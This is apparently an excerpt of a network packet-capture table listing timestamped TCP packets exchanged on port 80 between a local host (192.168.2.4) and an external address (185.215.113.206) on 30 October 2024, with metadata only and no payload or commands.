Oct 30, 2024 20:13:24.917915106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.917943001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.918107033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.918133020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.918143034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.918158054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.918176889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.918183088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.955956936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.961270094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238221884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238265038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238276005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238341093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238353014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238389969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238444090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238449097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238488913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238497972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238537073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238560915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238600016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238647938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238658905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238687992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238699913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238842964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238853931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.238888025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.238996029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239006996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239039898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.239181995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239255905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.239303112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239325047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239346981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.239373922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.239496946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239542961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.239552021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239593029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.239959002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.239969015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.240004063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395325899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395353079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395365953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395410061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395457029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395535946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395546913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395556927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395569086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395581961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395612955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395915985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395930052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395945072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.395976067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395999908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.395999908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396150112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396161079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396171093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396183014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396208048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396231890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396583080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396595001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396605015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396615982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396627903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396630049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396641016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396652937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396676064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396835089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396867990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396940947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396950960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.396975040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.396985054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397144079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397155046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397166014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397176981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397195101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397206068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397236109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397433043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397444010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397454023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397478104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397489071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397844076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397855997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397865057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397876978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397922039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397922039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397939920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.397948980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.397993088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.547717094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547765017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547777891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547805071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.547805071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.547897100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547944069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.547945023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547957897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547966957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.547977924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548024893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548024893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548311949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548322916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548332930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548342943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548352957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548355103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548365116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548382998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548415899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548681021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548731089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548791885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548803091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548841953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548930883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548940897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548949957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548959970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.548974991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.548985004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549017906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549242020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549251080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549295902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549365044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549375057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549410105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549587965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549597979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549607038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549618006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549628973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549639940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549659014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549679041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.549932957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549942970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549953938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549963951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549974918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.549987078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.550009012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.550539017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550549984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550559044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550569057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550580978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550591946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550595045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.550604105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.550622940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.550657034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.550756931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550769091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.550805092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669528008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669542074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669553995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669621944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669661045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669668913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669672012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669703960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669713974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669715881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669738054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669764042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669922113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669948101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669958115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669969082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669970036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.669981003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.669991970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670030117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670109034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670125008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670136929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670147896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670180082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670319080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670330048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670362949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670600891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670624018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670634985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670659065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670686007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670746088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670757055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670788050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670867920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670878887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670912027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670941114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670949936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670960903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670970917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670981884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670991898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.670993090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.670998096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.671035051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.671235085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.671247005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.671257019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.671303988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.671322107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.671396017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.671436071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.701731920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.701785088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.701792002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.701797009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.701817989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.701842070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702023029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702065945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702224016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702265024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702275991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702286959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702312946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702326059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702589989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702600956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702610016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702620983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702635050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702666998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702702999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702713013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702722073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702733994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702743053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702745914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.702754974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.702788115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.791555882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.791599035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.791606903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.791635036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.791671038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.791708946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.791757107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.791769028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.791784048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.791805029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.791832924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.791987896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792000055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792037010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792110920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792133093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792156935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792180061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792340994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792351961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792361021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792371035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792382956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792388916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792392969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792404890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792418003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792435884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792692900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792737961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792766094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792810917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792892933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792903900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792912960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.792937040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.792965889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793425083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793436050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793446064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793472052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793497086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793570042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793593884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793606043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793612957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793617010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793627024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793633938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793637037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793642044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793648958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.793662071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.793688059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.794096947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.794107914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.794148922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.823472023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.823518038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.823528051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.823667049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.823667049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824106932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824157953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824182987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824193001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824223995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824234962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824364901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824376106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824385881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824413061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824435949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824512959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824525118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824536085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824559927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824583054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824726105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824737072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824745893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824762106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:25.824774981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:25.824804068 CET	49758	80	192.168.2.4	185.215.113.206
